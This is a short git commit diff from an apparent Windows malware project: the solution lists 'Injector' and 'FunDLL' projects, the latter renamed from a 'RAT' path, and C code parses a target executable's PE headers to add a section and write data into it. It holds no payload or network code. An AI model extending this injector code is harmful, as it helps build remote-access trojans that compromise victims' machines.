Fixed Some Stuff

This commit is contained in:
hellisabove
2023-07-03 03:05:34 +03:00
parent 3d2d70ec7f
commit 89dbd15250
5 changed files with 17 additions and 14 deletions
+7 -4
View File
@@ -23,11 +23,11 @@ INT main(INT arg, PCHAR argv[]) {
BOOL file_read = ReadFile(x_file, file_buffer, file_size, &returned_bytes, NULL);
if (file_read == TRUE && returned_bytes == file_size) {
PIMAGE_DOS_HEADER image_dos_header = (PIMAGE_DOS_HEADER)file_read;
PIMAGE_DOS_HEADER image_dos_header = (PIMAGE_DOS_HEADER)file_buffer;
if (image_dos_header->e_magic == IMAGE_DOS_SIGNATURE) { // if PE valid
PIMAGE_FILE_HEADER image_file_header = (PIMAGE_FILE_HEADER)(file_read + image_dos_header->e_lfanew + sizeof(DWORD));
PIMAGE_OPTIONAL_HEADER image_optional_header = (PIMAGE_OPTIONAL_HEADER) (file_read + image_dos_header->e_lfanew + sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER));
PIMAGE_SECTION_HEADER image_section_header = (PIMAGE_SECTION_HEADER) (file_read + image_dos_header->e_lfanew + sizeof(IMAGE_NT_HEADERS));
PIMAGE_FILE_HEADER image_file_header = (PIMAGE_FILE_HEADER)(file_buffer + image_dos_header->e_lfanew + sizeof(DWORD));
PIMAGE_OPTIONAL_HEADER image_optional_header = (PIMAGE_OPTIONAL_HEADER) (file_buffer + image_dos_header->e_lfanew + sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER));
PIMAGE_SECTION_HEADER image_section_header = (PIMAGE_SECTION_HEADER) (file_buffer + image_dos_header->e_lfanew + sizeof(IMAGE_NT_HEADERS));
WORD PESections = image_file_header->NumberOfSections;
ZeroMemory(&image_section_header[PESections], sizeof(IMAGE_SECTION_HEADER));
@@ -61,6 +61,9 @@ INT main(INT arg, PCHAR argv[]) {
// add section
WriteFile(x_file, file_buffer, file_size, &returned_bytes, NULL);
}
// add file
WriteFile(x_file, file_buffer, file_size, &returned_bytes, NULL);
}
}
LocalFree(dll_buffer);
+10 -10
View File
@@ -3,10 +3,10 @@ Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 17
VisualStudioVersion = 17.6.33815.320
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "FunDLL", "RAT\RAT.vcxproj", "{C7E129B4-8A7E-4E5C-A259-573609675FED}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Injector", "Injector\Injector.vcxproj", "{9C556697-73D5-47E2-908C-B285CB253CC6}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "FunDLL", "FunDLL\FunDLL.vcxproj", "{C7E129B4-8A7E-4E5C-A259-573609675FED}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
@@ -15,14 +15,6 @@ Global
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{C7E129B4-8A7E-4E5C-A259-573609675FED}.Debug|x64.ActiveCfg = Debug|x64
{C7E129B4-8A7E-4E5C-A259-573609675FED}.Debug|x64.Build.0 = Debug|x64
{C7E129B4-8A7E-4E5C-A259-573609675FED}.Debug|x86.ActiveCfg = Debug|Win32
{C7E129B4-8A7E-4E5C-A259-573609675FED}.Debug|x86.Build.0 = Debug|Win32
{C7E129B4-8A7E-4E5C-A259-573609675FED}.Release|x64.ActiveCfg = Release|x64
{C7E129B4-8A7E-4E5C-A259-573609675FED}.Release|x64.Build.0 = Release|x64
{C7E129B4-8A7E-4E5C-A259-573609675FED}.Release|x86.ActiveCfg = Release|Win32
{C7E129B4-8A7E-4E5C-A259-573609675FED}.Release|x86.Build.0 = Release|Win32
{9C556697-73D5-47E2-908C-B285CB253CC6}.Debug|x64.ActiveCfg = Debug|x64
{9C556697-73D5-47E2-908C-B285CB253CC6}.Debug|x64.Build.0 = Debug|x64
{9C556697-73D5-47E2-908C-B285CB253CC6}.Debug|x86.ActiveCfg = Debug|Win32
@@ -31,6 +23,14 @@ Global
{9C556697-73D5-47E2-908C-B285CB253CC6}.Release|x64.Build.0 = Release|x64
{9C556697-73D5-47E2-908C-B285CB253CC6}.Release|x86.ActiveCfg = Release|Win32
{9C556697-73D5-47E2-908C-B285CB253CC6}.Release|x86.Build.0 = Release|Win32
{C7E129B4-8A7E-4E5C-A259-573609675FED}.Debug|x64.ActiveCfg = Debug|x64
{C7E129B4-8A7E-4E5C-A259-573609675FED}.Debug|x64.Build.0 = Debug|x64
{C7E129B4-8A7E-4E5C-A259-573609675FED}.Debug|x86.ActiveCfg = Debug|Win32
{C7E129B4-8A7E-4E5C-A259-573609675FED}.Debug|x86.Build.0 = Debug|Win32
{C7E129B4-8A7E-4E5C-A259-573609675FED}.Release|x64.ActiveCfg = Release|x64
{C7E129B4-8A7E-4E5C-A259-573609675FED}.Release|x64.Build.0 = Release|x64
{C7E129B4-8A7E-4E5C-A259-573609675FED}.Release|x86.ActiveCfg = Release|Win32
{C7E129B4-8A7E-4E5C-A259-573609675FED}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE